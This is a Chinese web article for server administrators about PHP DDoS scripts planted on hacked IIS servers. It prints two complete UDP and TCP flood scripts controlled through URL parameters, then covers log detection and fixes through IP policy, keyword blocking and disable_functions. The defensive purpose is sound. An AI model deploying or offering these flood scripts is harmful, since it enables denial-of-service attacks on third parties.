热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

php对外发包引发服务器崩溃的终极解决方法分享[推荐]

一、php对外发包分析用php代码调用sockets,直接用服务器的网络攻击别的ip,常见代码如下:复制代码代码如下:$packets0;$ip$_ge

一、php对外发包分析
用php代码调用sockets,直接用服务器的网络攻击别的ip,常见代码如下:
代码如下:

$packets = 0;
$ip = $_get[\'ip\'];
$rand = $_get[\'port\'];
set_time_limit(0);
ignore_user_abort(false);
$exec_time = $_get[\'time\'];
$time = time();
print \"flooded: $ip on port $rand
\";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= \"x\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"packet complete at \".time(\'h:i:s\').\" with
$packets (\" . round(($packets*65)/1024, 2) . \" mb) packets averaging \".
round($packets/$exec_time, 2) . \" packets/s \\n\";
?>

二、表现特征
一打开iis,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到ddos攻击是不同的,ddos是服务器不断收到大量数据包.
近期由于dedecms出现漏洞而导致大量服务器出现这个问题.
如何快速找到这些站?
你可以打开日志
c:\windows\system32\logfiles\httperr\httperr...log,打开今天时间的文件,
里面有类似这样的记录:
2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 http/1.1 get /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 disabled 30_freehost_1
最后三项 783 disabled 30_freehost_1
783就是这个站在iis中的id
30_freehost_1就是所在池
三、解决办法
1.按上述找到这个网站后停止它.或停止池,并重启iis.
2.在ip策略,或防火墙中,禁止所有udp向外发送
在星外最新版本的安全包中,已带有4.0版本的ip策略【下载包】,您导入后就直接可以限制了外发的udp包。下载这个包,之后导入安全策略。但这个策略并没有关闭dns端口,部分攻击还是有效.
为了解决这个问题,你也可以调整ip策略,限制udp只能访问特定的dns服务器ip,如8.8.8.8,除非黑客攻击这个ip,不然攻击也是无效的,你可以在网卡dns中设置一个你才知道的dns ip,并且不要公开,然后调用ip策略中的udp open部分就可以解决.(打开ip策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址 "特定ip 这个ip就是设置为你自己的dns ip,如8.8.8.8" 保存后就行了 )
在2011-4-27,我们上传了新的安全包,里面有一个"星外虚拟主机管理平台ip策略关闭所有udp端口用.ipsec"文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了dns端口,会造成的这台服务器上无法用ie访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)
3.用一流信息监控,在sql拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)
4.也可以直接禁止上面的代码,如改win\php.ini后重启iis
ignore_user_abort = on
(注意前面的;号要删除)
disable_functiOns=exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
在后面加上
fsockopen,set_time_limit
但这样会造成很多php程序都不正常.
另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还dos做什么?
近期已有新的基于tcp攻击的phpddos代码如下:
代码如下:

set_time_limit(999999);
$host = $_get['host'];
$port = $_get['port'];
$exec_time = $_get['time'];
$packets = 64;
ignore_user_abort(true);
if (strlen($host)==0 or strlen($port)==0 or strlen($exec_time)==0){
if (strlen($_get['rat'])<>0){
echo $_get['rat'].$_server["http_host"]."|".gethostbyname($_server['server_name'])."|".
php_uname()."|".$_server['server_software'].$_get['rat'];
exit;
}
exit;
}
$max_time = time()+$exec_time;
while(1){
$packets++;
if(time() > $max_time or $exec_time != 69){
break;
}
$fp = fsockopen("tcp://$host", $port, $errno, $errstr, 0);
}
?>

同样,可以采有以下解决办法:
1.也可以直接禁止上面的代码,如改win\php.ini后重启iis
ignore_user_abort = on
(注意前面的;号要删除)
disable_functiOns=exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
在后面加上
fsockopen,set_time_limit
但这样会造成很多php程序都不正常.
2.在ip策略中禁止所有外访的tcp数据包,但这样会造成的采集功能无效,也不能用在主控服务器上。
3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它。
以上方法供 vps、服务器托管用户学习!



推荐阅读
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 本文介绍了通过ABAP开发往外网发邮件的需求,并提供了配置和代码整理的资料。其中包括了配置SAP邮件服务器的步骤和ABAP写发送邮件代码的过程。通过RZ10配置参数和icm/server_port_1的设定,可以实现向Sap User和外部邮件发送邮件的功能。希望对需要的开发人员有帮助。摘要长度:184字。 ... [详细]
  • Tomcat安装与配置教程及常见问题解决方法
    本文介绍了Tomcat的安装与配置教程,包括jdk版本的选择、域名解析、war文件的部署和访问、常见问题的解决方法等。其中涉及到的问题包括403问题、数据库连接问题、1130错误、2003错误、Java Runtime版本不兼容问题以及502错误等。最后还提到了项目的前后端连接代码的配置。通过本文的指导,读者可以顺利完成Tomcat的安装与配置,并解决常见的问题。 ... [详细]
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
  • Linux一键安装web环境全攻略
    摘自阿里云服务器官网,此处一键安装包下载:点此下载安装须知1、此安装包可在阿里云所有Linux系统上部署安装,此安装包包含的软件及版本为& ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 如何去除Win7快捷方式的箭头
    本文介绍了如何去除Win7快捷方式的箭头的方法,通过生成一个透明的ico图标并将其命名为Empty.ico,将图标复制到windows目录下,并导入注册表,即可去除箭头。这样做可以改善默认快捷方式的外观,提升桌面整洁度。 ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • 安装oracle软件1创建用户组、用户和目录bjdb节点下:[rootnode1]#groupadd-g200oinstall[rootnode1]#groupad ... [详细]
  •   1、确认自己的线路是否连接正确腾达a9设置。 ... [详细]
  • 在单位的一台4cpu的服务器上部署了esxserver,挂载了6个虚拟机,目前运行正常。在安装部署过程中,得到了cnvz.net论坛精华区 ... [详细]
  • 解决浏览器打开网页后提示“dns_probe_possible 怎么解决”的方法
    在使用浏览器进行网上冲浪的时候遇到故障是一件很常见的事情,很多用户都遇到过系统提示:dns_probe_possible。从提示中可以看出和DNS是有一定的关系的,经过小编测试之后 ... [详细]
  • 篇首语:本文由编程笔记#小编为大家整理,主要介绍了VoLTE端到端业务详解|VoLTE用户注册流程相关的知识,希望对你有一定的参考价值。书籍来源:艾怀丽 ... [详细]
author-avatar
小怡的宝_594
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有